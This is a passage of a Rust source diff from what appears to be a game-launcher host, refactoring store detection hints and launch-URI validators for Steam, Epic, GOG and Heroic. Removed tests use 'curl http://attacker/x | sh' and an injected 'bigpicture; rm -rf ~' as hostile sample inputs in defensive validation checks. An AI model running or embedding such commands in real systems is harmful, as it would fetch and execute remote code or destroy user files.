    /// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting —
    /// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a
    /// pre-metadata `library.json` / payload still parses (all-optional).
@@ -791,7 +477,6 @@ mod tests {
        let r1 = reconcile_entries(
            &mut entries,
            "romm",
-            None,
            vec![input("rom-a", "Game A"), input("rom-b", "Game B")],
        );
        assert_eq!(r1.len(), 2);
@@ -803,7 +488,6 @@ mod tests {
        let r2 = reconcile_entries(
            &mut entries,
            "romm",
-            None,
            vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
        );
        assert_eq!(r2.len(), 2);
@@ -822,7 +506,6 @@ mod tests {
        let r3 = reconcile_entries(
            &mut entries,
            "romm",
-            None,
            vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
        );
        assert_eq!(
@@ -843,7 +526,7 @@ mod tests {
            .any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch")));

        // Empty payload = remove everything the provider owns (same as DELETE).
-        let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new());
+        let r4 = reconcile_entries(&mut entries, "romm", Vec::new());
        assert!(r4.is_empty());
        assert_eq!(
            entries.len(),
@@ -852,127 +535,6 @@ mod tests {
        );
    }

-    /// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round
-    /// trip. This is the only migration in the whole program — get it wrong and an existing host
-    /// silently loses its manual entries on upgrade.
-    #[test]
-    fn v1_and_v2_library_files_both_load() {
-        // v1: exactly what a shipped host has on disk today.
-        let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#;
-        let c = match serde_json::from_str::<LibraryFile>(v1).unwrap() {
-            LibraryFile::Legacy(entries) => Catalog {
-                entries,
-                claims: BTreeMap::new(),
-            },
-            LibraryFile::V2(_) => panic!("an array must not parse as v2"),
-        };
-        assert_eq!(c.entries.len(), 1);
-        assert_eq!(c.entries[0].title, "Old Manual");
-        assert!(c.claims.is_empty());
-
-        // v2, including a claim.
-        let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#;
-        let c = match serde_json::from_str::<LibraryFile>(v2).unwrap() {
-            LibraryFile::V2(c) => c,
-            LibraryFile::Legacy(_) => panic!("an object must not parse as v1"),
-        };
-        assert_eq!(c.entries.len(), 1);
-        assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam"));
-
-        // A v2 file with no claims key at all (what the first write after upgrade produces before
-        // anything is claimed) still loads.
-        let bare = r#"{"entries":[]}"#;
-        assert!(matches!(
-            serde_json::from_str::<LibraryFile>(bare).unwrap(),
-            LibraryFile::V2(_)
-        ));
-
-        // And what we WRITE is v2, so one mutation upgrades the file in place.
-        let written = serde_json::to_string(&Catalog::default()).unwrap();
-        assert!(written.contains("\"entries\""));
-        assert!(written.contains("\"claims\""));
-    }
-
-    #[test]
-    fn store_claim_validation() {
-        assert!(validate_store_claim("steam").is_ok());
-        assert!(validate_store_claim("epic-games").is_ok());
-        assert!(validate_store_claim("xbox_pc").is_ok());
-        // The two host-owned namespaces are off-limits.
-        assert!(validate_store_claim("custom").is_err());
-        assert!(validate_store_claim("manual").is_err());
-        assert!(validate_store_claim("").is_err());
-        assert!(validate_store_claim("Steam").is_err()); // no uppercase
-                                                         // A dot would read as a hostname in a log line and muddies the `store:id` split.
-        assert!(validate_store_claim("my.store").is_err());
-        assert!(validate_store_claim(&"s".repeat(33)).is_err());
-    }
-
-    /// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a
-    /// tile that silently refuses to launch.
-    #[test]
-    fn payload_validation_covers_the_new_closed_vocabularies() {
-        let with_launch = |kind: &str, value: &str| {
-            let mut i = input("a", "A");
-            i.launch = Some(LaunchSpec {
-                kind: kind.into(),
-                value: value.into(),
-            });
-            i
-        };
-        assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok());
-        assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok());
-        assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err());
-        assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err());
-        // Other kinds are unconstrained here (the host validates them per-kind at launch).
-        assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok());
-
-        let with_env = |key: &str, value: Option<&str>| {
-            let mut i = input("a", "A");
-            i.detect.env_marker = Some(EnvMarker {
-                key: key.into(),
-                value: value.map(str::to_string),
-            });
-            i
-        };
-        assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok());
-        assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err());
-        assert!(validate_provider_payload(&[with_env("", None)]).is_err());
-        assert!(
-            validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))])
-                .is_err()
-        );
-    }
-
-    /// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
-    /// later hands to a shell are operator-only. Everything else — including every host-resolved
-    /// launch kind — stays open, so a provider plugin can publish its whole catalogue.
-    #[test]
-    fn privileged_field_is_command_execution_only() {
-        let cmd = LaunchSpec {
-            kind: "command".into(),
-            value: "curl http://attacker/x | sh".into(),
-        };
-        let steam = LaunchSpec {
-            kind: "steam_appid".into(),
-            value: "70".into(),
-        };
-        let prep = vec![crate::hooks::PrepCmd {
-            run: "curl http://attacker/x | sh".into(),
-            undo: None,
-        }];
-
-        assert_eq!(
-            privileged_field(Some(&cmd), &[]),
-            Some("launch.kind = \"command\"")
-        );
-        assert_eq!(privileged_field(None, &prep), Some("prep"));
-        assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
-        // The ordinary provider catalogue: nothing privileged, so no lane is refused.
-        assert_eq!(privileged_field(Some(&steam), &[]), None);
-        assert_eq!(privileged_field(None, &[]), None);
-    }
-
    #[test]
    fn provider_name_and_payload_validation() {
        assert!(validate_provider_name("romm").is_ok());
@@ -19,34 +19,15 @@
 use super::*;

 /// An environment variable a launcher stamps onto the game's process, identifying it.
-///
-/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin
-/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to
-/// be able to say so, since after extraction the host no longer reads that launcher's files itself.
-#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
+#[derive(Clone, Debug, PartialEq, Eq)]
 pub struct EnvMarker {
    /// The variable name (e.g. `HEROIC_GAME_ID`).
-    #[schema(example = "HEROIC_APP_NAME")]
    pub key: String,
    /// The exact value to require, when the launcher's value identifies *this* title. `None` matches
    /// the key's mere presence — only safe for launchers that run one game at a time.
-    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub value: Option<String>,
 }

-/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset
-/// key is not a real environment variable, so accepting one could only ever produce a matcher rule
-/// that never fires (or, with an absurd length, a needless per-process comparison cost).
-pub(crate) fn valid_env_key(key: &str) -> bool {
-    !key.is_empty()
-        && key.len() <= 64
-        && key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_')
-}
-
-/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's
-/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id.
-pub(crate) const MAX_ENV_VALUE: usize = 256;
-
 /// The signals that identify a launched title's process(es). Every field is optional and
 /// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to
 /// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it).
@@ -134,11 +115,6 @@ impl DetectSpec {
        self.install_dir = self.install_dir.or(from.install_dir);
        self.exe = self.exe.or(from.exe);
        self.process_name = self.process_name.or(from.process_name);
-        // D3: the two store-derived signals are fillable from a hint now that the store may live in
-        // a plugin. Same rule as the other three — the host's own finding wins where it has one,
-        // which for a provider entry is moot (the host scanned nothing for it).
-        self.steam_appid = self.steam_appid.or(from.steam_appid);
-        self.env_marker = self.env_marker.or(from.env_marker);
        self
    }
 }
@@ -167,31 +143,12 @@ pub struct DetectHint {
    /// — see [`DetectSpec::process_name`].
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub process_name: Option<String>,
-    /// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**
-    /// signal that exists — Steam wraps every launch, native or Proton, in
-    /// `reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a
-    /// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.
-    #[serde(default, skip_serializing_if = "Option::is_none")]
-    pub steam_appid: Option<u32>,
-    /// A launcher-stamped environment marker (D3) — see [`EnvMarker`].
-    #[serde(default, skip_serializing_if = "Option::is_none")]
-    pub env_marker: Option<EnvMarker>,
 }

 impl DetectHint {
    /// Whether the hint says anything at all (all-empty is treated as absent).
    pub fn is_empty(&self) -> bool {
-        self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none()
-    }
-
-    /// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for
-    /// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the
-    /// matcher must never be handed a rule it can't honour.
-    fn env_marker(&self) -> Option<&EnvMarker> {
-        self.env_marker
-            .as_ref()
-            .filter(|m| valid_env_key(&m.key))
-            .filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE))
+        self.trimmed().is_none()
    }

    /// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and
@@ -209,13 +166,14 @@ impl DetectHint {
 /// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`].
 impl From<&DetectHint> for DetectSpec {
    fn from(h: &DetectHint) -> Self {
-        let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None));
+        let Some((install_dir, exe, process_name)) = h.trimmed() else {
+            return Self::default();
+        };
        Self {
            install_dir: install_dir.map(PathBuf::from),
            exe: exe.map(PathBuf::from),
            process_name: process_name.map(str::to_string),
-            steam_appid: h.steam_appid,
-            env_marker: h.env_marker().cloned(),
+            ..Default::default()
        }
    }
 }
@@ -315,7 +273,6 @@ mod tests {
            install_dir: Some("".into()),
            exe: Some("   ".into()),
            process_name: Some("\t".into()),
-            ..Default::default()
        };
        assert!(blank.is_empty());
        assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on");
@@ -324,7 +281,6 @@ mod tests {
            install_dir: Some("  /games/quail  ".into()),
            exe: None,
            process_name: Some("quail".into()),
-            ..Default::default()
        };
        assert!(!hint.is_empty());
        let spec = DetectSpec::from(&hint);
@@ -343,7 +299,6 @@ mod tests {
            install_dir: Some("/games/wrong".into()),
            exe: Some("/games/real/run".into()),
            process_name: None,
-            ..Default::default()
        };
        let merged = found.or_hint(&hint);
        assert_eq!(
@@ -362,74 +317,6 @@ mod tests {
            .is_empty());
    }

-    /// D3: the two store-derived signals now ride the hint, because after extraction the host no
-    /// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would
-    /// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic
-    /// under Proton, where the env marker is the only thing that works.
-    #[test]
-    fn a_hint_can_carry_the_store_derived_signals() {
-        let hint = DetectHint {
-            steam_appid: Some(440),
-            env_marker: Some(EnvMarker {
-                key: "HEROIC_APP_NAME".into(),
-                value: Some("Quail".into()),
-            }),
-            ..Default::default()
-        };
-        assert!(!hint.is_empty(), "either field alone is a real hint");
-        let spec = DetectSpec::from(&hint);
-        assert_eq!(spec.steam_appid, Some(440));
-        assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME");
-
-        // A steam_appid on its own is enough to be trackable.
-        let only_appid = DetectHint {
-            steam_appid: Some(620),
-            ..Default::default()
-        };
-        assert!(!only_appid.is_empty());
-        assert!(!DetectSpec::from(&only_appid).is_empty());
-
-        // The host's own finding still wins where it has one (unchanged rule).
-        let found = DetectSpec::steam(70);
-        assert_eq!(found.or_hint(&hint).steam_appid, Some(70));
-        // …but a field the host had nothing for is filled in.
-        assert_eq!(
-            DetectSpec::dir("/games/x")
-                .or_hint(&hint)
-                .env_marker
-                .unwrap()
-                .key,
-            "HEROIC_APP_NAME"
-        );
-    }
-
-    /// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The
-    /// matcher must never be handed a rule it cannot evaluate, and these values reach a code path
-    /// that can end processes.
-    #[test]
-    fn a_malformed_env_marker_says_nothing() {
-        let bad = |key: &str, value: Option<String>| DetectHint {
-            env_marker: Some(EnvMarker {
-                key: key.into(),
-                value,
-            }),
-            ..Default::default()
-        };
-        assert!(bad("", None).is_empty());
-        assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name");
-        assert!(bad("HAS SPACE", None).is_empty());
-        assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap");
-        assert!(
-            bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(),
-            "over the value cap"
-        );
-        // …and a well-formed one at exactly the caps is kept.
-        assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty());
-        assert!(DetectSpec::from(&bad("HAS-DASH", None))
-            .env_marker
-            .is_none());
-    }
-
    #[test]
    fn first_token_handles_quotes_and_spaces() {
        assert_eq!(
@@ -100,7 +100,6 @@ fn epic_entry(
    };
    Some(GameEntry {
        provider: None,
-        role: GameRole::Game,
        meta: GameMeta::pc(),
        id: format!("epic:{app_name}"),
        store: "epic".into(),
@@ -187,8 +186,25 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap<String, Artwork>
    map
 }

-// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module
-// enumerates, it does not launch.
+/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple
+/// `<namespace>:<catalogItemId>:<appName>` (colons URL-encoded), or a bare `<appName>` fallback.
+/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection.
+#[cfg(windows)]
+pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
+    let ok = |s: &str| {
+        !s.is_empty()
+            && s.bytes()
+                .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
+    };
+    let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
+        [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
+        [app] if ok(app) => (*app).to_string(),
+        _ => return None,
+    };
+    Some(format!(
+        "com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
+    ))
+}

 #[cfg(test)]
 mod tests {
@@ -220,4 +236,19 @@ mod tests {
        assert!(epic_entry(&gone, &empty).is_none());
        std::fs::remove_dir_all(&dir).ok();
    }
+
+    #[cfg(windows)]
+    #[test]
+    fn epic_launch_uri_triple_bare_and_guard() {
+        assert_eq!(
+            epic_launch_uri("fn:abc:Fortnite").as_deref(),
+            Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
+        );
+        assert_eq!(
+            epic_launch_uri("Fortnite").as_deref(),
+            Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
+        );
+        assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
+        assert!(epic_launch_uri("").is_none());
+    }
 }
@@ -57,7 +57,6 @@ fn gog_games() -> Vec<GameEntry> {
        let detect = DetectSpec::exe(&exe).with_dir(&path);
        out.push(GameEntry {
            provider: None,
-            role: GameRole::Game,
            meta: GameMeta::pc(),
            id,
            store: "gog".into(),
@@ -134,13 +133,38 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> {
    ))
 }

-// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and
-// resolves the spawn triple off disk, but turning that triple into a command line is launch-side.
+/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`,
+/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy.
+#[cfg(windows)]
+pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
+    let mut parts = value.split('\t');
+    let exe = parts.next().filter(|s| !s.is_empty())?;
+    let args = parts.next().unwrap_or("");
+    let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
+    let cmdline = if args.trim().is_empty() {
+        format!("\"{exe}\"")
+    } else {
+        format!("\"{exe}\" {args}")
+    };
+    Some((cmdline, workdir))
+}

 #[cfg(test)]
 mod tests {
    use super::*;

+    #[cfg(windows)]
+    #[test]
+    fn gog_spawn_parses_and_guards() {
+        let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
+        assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
+        assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
+        let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
+        assert_eq!(cmd2, "\"C:\\g.exe\"");
+        assert!(wd2.is_none());
+        assert!(gog_spawn("").is_none());
+    }
+
    #[cfg(windows)]
    #[test]
    fn gog_play_task_picks_primary_filetask() {
@@ -109,7 +109,6 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
        };
        games.push(GameEntry {
            provider: None,
-            role: GameRole::Game,
            meta: GameMeta::pc(),
            id: format!("heroic:{runner}:{app_name}"),
            store: "heroic".into(),
@@ -129,8 +128,48 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
    Ok(games)
 }

-// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs`
-// (WP1.1) — this module enumerates, it does not launch.
+/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
+/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
+/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
+/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
+/// running on the box, the spawned process forwards the URI and exits, which would tear the session
+/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
+#[cfg(target_os = "linux")]
+pub(crate) fn heroic_command(value: &str) -> Option<String> {
+    let (runner, app) = value.split_once(':')?;
+    if !matches!(runner, "legendary" | "gog" | "nile") {
+        return None;
+    }
+    // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
+    if app.is_empty()
+        || !app
+            .bytes()
+            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
+    {
+        return None;
+    }
+    let prefix = heroic_launch_prefix()?;
+    // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
+    // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
+    Some(format!(
+        "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
+    ))
+}
+
+/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
+/// root is present. `None` ⇒ Heroic not found, so no launch command.
+#[cfg(target_os = "linux")]
+fn heroic_launch_prefix() -> Option<String> {
+    let on_path = std::env::var_os("PATH")
+        .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
+    if on_path {
+        return Some("heroic".into());
+    }
+    let flatpak = std::env::var_os("HOME")
+        .map(PathBuf::from)
+        .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
+    flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
+}

 #[cfg(test)]
 mod tests {
@@ -1,14 +1,12 @@
 //! Title launch: resolve a library id / raw command into an executable command line (per-store +
 //! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5).
-//!
-//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind
-//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the
-//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins
-//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends
-//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the
-//! entry was enumerated in-process or reconciled in by a plugin).

+use super::custom::valid_steam_appid;
+#[cfg(target_os = "linux")]
+use super::heroic::heroic_command;
 use super::*;
+#[cfg(windows)]
+use super::{epic::epic_launch_uri, gog::gog_spawn};

 /// Everything a session needs about the title it is launching, resolved in **one** library scan:
 /// what to run, what to call it, and how to recognize it once it is running.
@@ -86,25 +84,6 @@ fn command_for(spec: &LaunchSpec) -> Option<String> {
        // Heroic: `<runner>:<appName>` → the validated heroic://launch command (see heroic_command).
        #[cfg(target_os = "linux")]
        "heroic" => heroic_command(&spec.value),
-        // A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop.
-        // Nested in gamescope this is the SteamOS game-mode shape.
-        "steam_ui" => match spec.value.as_str() {
-            "bigpicture" => Some("steam -gamepadui".into()),
-            "desktop" => Some("steam".into()),
-            _ => None,
-        },
-        // The other launchers' own UIs (D4). The host builds the command — a plugin only names
-        // which launcher — so no shell string ever crosses the wire.
-        #[cfg(target_os = "linux")]
-        "launcher_ui" => match spec.value.as_str() {
-            // The same resolution the `heroic` game launches use (native binary, else Flatpak), just
-            // without `--no-gui` and without a URI: that opens Heroic's window, which IS the tile.
-            "heroic" => heroic_launch_prefix(),
-            // Bare `lutris` opens the Lutris window; with a `lutris:rungameid/…` URI it launches a
-            // game instead (the `lutris_id` kind above).
-            "lutris" => Some("lutris".into()),
-            _ => None,
-        },
        // Trusted: the command comes from the host's own custom store, never the client.
        "command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()),
        _ => None,
@@ -159,21 +138,6 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option<std::path::Pa
            };
            Some((cmdline, None))
        }
-        // A launcher entry (D4): open the Steam client's own UI. Same Steam.exe-then-explorer ladder
-        // as `steam_appid`, and the URI is one of exactly two host-owned literals — nothing from the
-        // entry is interpolated at all.
-        "steam_ui" => {
-            let uri = match spec.value.as_str() {
-                "bigpicture" => "steam://open/bigpicture",
-                "desktop" => "steam://open/main",
-                _ => return None,
-            };
-            let cmdline = match steam_exe() {
-                Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()),
-                None => format!("explorer.exe \"{uri}\""),
-            };
-            Some((cmdline, None))
-        }
        // Epic: open the (host-built, validated) com.epicgames.launcher:// URI via explorer.exe — a
        // concrete EXE that resolves the registered protocol handler as the user; the URI is a single
        // argv element (no shell, no cmd /c). Same pattern as the steam explorer fallback.
@@ -227,152 +191,6 @@ fn steam_exe() -> Option<std::path::PathBuf> {
    None
 }

-// ------------------------------------------------------- per-kind launch values (host-owned ABI)
-//
-// Each helper below turns a store's launch VALUE — the only part a scanner (or, after extraction, a
-// library plugin) supplies — into the URI/command line the host actually runs. They live here rather
-// than beside the enumeration that produces the value because the host keeps owning URI construction
-// and spawning no matter where the enumeration came from (D1). Every one of them is total and
-// validating: an unparseable or hostile value yields `None`, never a partially-interpolated command.
-
-/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
-/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
-/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
-/// ([`windows_launch_for`]).
-///
-/// Also accepts the 64-bit non-Steam-shortcut game id ([`shortcut_gameid`]), which is likewise
-/// digits — the two share the `steam_appid` kind precisely because `rungameid` takes either.
-pub(crate) fn valid_steam_appid(value: &str) -> bool {
-    !value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
-}
-
-/// The 64-bit game id `steam://rungameid/` needs to launch a non-Steam shortcut: high dword = the
-/// 32-bit shortcut appid, low dword = the shortcut marker `0x0200_0000`. (Handing `rungameid` the
-/// bare 32-bit appid does not launch a shortcut — it must be this composed id.)
-pub(crate) fn shortcut_gameid(appid: u32) -> u64 {
-    ((appid as u64) << 32) | 0x0200_0000
-}
-
-/// The `steam_ui` launch values (D4) — which Steam UI a launcher entry opens. A closed two-value
-/// enum, validated on the way IN (the reconcile payload) as well as on the way out, so an entry can
-/// never carry a third value that silently resolves to nothing at launch time.
-pub(crate) fn valid_steam_ui(value: &str) -> bool {
-    matches!(value, "bigpicture" | "desktop")
-}
-
-/// The launcher UIs **this host** can open, as `launcher_ui` values (D4).
-///
-/// One kind for every launcher but Steam, rather than one kind each: they all have exactly a single
-/// UI to open, so the value is just which launcher. Steam keeps its own [`valid_steam_ui`] kind
-/// because it has two (Big Picture and the desktop client), which is a genuinely different choice.
-///
-/// Platform-gated, because a value naming a launcher this OS cannot run is not a tile that merely
-/// looks odd — it is one that fails at launch. Validated inbound too, so a plugin gets a 400 it can
-/// act on instead of publishing a dead entry.
-///
-/// **Why a typed kind at all**, when design D4 originally said non-Steam launchers would ride the
-/// `command` kind: the 2026-08-05 review made `launch.kind = "command"` operator-only (it is handed
-/// to a shell), so a plugin publishing one is refused. A typed kind keeps D1's rule intact — the
-/// plugin supplies a validated *value*, the host builds the command — and is the only way a scanner
-/// plugin can offer a launcher tile at all.
-fn launcher_ui_stores() -> &'static [&'static str] {
-    #[cfg(target_os = "linux")]
-    {
-        &["heroic", "lutris"]
-    }
-    // Windows launchers (Epic, GOG Galaxy, the Xbox app) are not wired yet — each needs its own
-    // verified activation, and an unverified guess would ship a tile that does nothing.
-    #[cfg(not(target_os = "linux"))]
-    {
-        &[]
-    }
-}
-
-/// Is this a `launcher_ui` value this host can resolve?
-pub(crate) fn valid_launcher_ui(value: &str) -> bool {
-    launcher_ui_stores().contains(&value)
-}
-
-/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
-/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
-/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
-/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
-/// running on the box, the spawned process forwards the URI and exits, which would tear the session
-/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
-#[cfg(target_os = "linux")]
-pub(crate) fn heroic_command(value: &str) -> Option<String> {
-    let (runner, app) = value.split_once(':')?;
-    if !matches!(runner, "legendary" | "gog" | "nile") {
-        return None;
-    }
-    // appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
-    if app.is_empty()
-        || !app
-            .bytes()
-            .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
-    {
-        return None;
-    }
-    let prefix = heroic_launch_prefix()?;
-    // No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
-    // is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
-    Some(format!(
-        "{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
-    ))
-}
-
-/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
-/// root is present. `None` ⇒ Heroic not found, so no launch command.
-#[cfg(target_os = "linux")]
-fn heroic_launch_prefix() -> Option<String> {
-    let on_path = std::env::var_os("PATH")
-        .is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
-    if on_path {
-        return Some("heroic".into());
-    }
-    let flatpak = std::env::var_os("HOME")
-        .map(PathBuf::from)
-        .is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
-    flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
-}
-
-/// Map an `epic` LaunchSpec value to the Epic Games Launcher URI. The value is either the full
-/// `<namespace>:<catalogItemId>:<appName>` triple (what the manifests carry) or a bare `appName`;
-/// every part is charset-checked so the URI stays one safe argv token.
-#[cfg(windows)]
-pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
-    let ok = |s: &str| {
-        !s.is_empty()
-            && s.bytes()
-                .all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
-    };
-    let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
-        [ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
-        [app] if ok(app) => (*app).to_string(),
-        _ => return None,
-    };
-    Some(format!(
-        "com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
-    ))
-}
-
-/// Map a `gog` LaunchSpec value — the tab-separated `exe \t args \t workdir` spawn triple the scanner
-/// derived from `goggame-<id>.info` — to a `(command line, working dir)`. GOG games are spawned
-/// directly (no Galaxy), so the exe is quoted and the arguments ride verbatim.
-#[cfg(windows)]
-pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
-    let mut parts = value.split('\t');
-    let exe = parts.next().filter(|s| !s.is_empty())?;
-    let args = parts.next().unwrap_or("");
-    let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
-    let cmdline = if args.trim().is_empty() {
-        format!("\"{exe}\"")
-    } else {
-        format!("\"{exe}\" {args}")
-    };
-    Some((cmdline, workdir))
-}
-
 /// Launch a GameStream `apps.json` command (operator-typed, trusted — never client-set) into the
 /// interactive Windows user session, AFTER capture is up (the host is SYSTEM). The Linux paths go
 /// through the compositor-aware [`launch_session_command`] instead.
@@ -542,145 +360,6 @@ mod tests {
        }
    }

-    /// The `steam_ui` launcher kind (D4): a closed two-value enum, mapped to the Steam client's own
-    /// UI on each OS. Nothing from the entry is interpolated — the value only SELECTS between two
-    /// host-owned literals — so there is no injection surface at all here.
-    #[test]
-    fn steam_ui_is_a_closed_two_value_enum() {
-        assert!(valid_steam_ui("bigpicture"));
-        assert!(valid_steam_ui("desktop"));
-        assert!(!valid_steam_ui("gamepadui"));
-        assert!(!valid_steam_ui(""));
-        assert!(!valid_steam_ui("bigpicture; rm -rf ~"));
-    }
-
-    /// The `launcher_ui` kind exists because D4's original plan — non-Steam launchers riding the
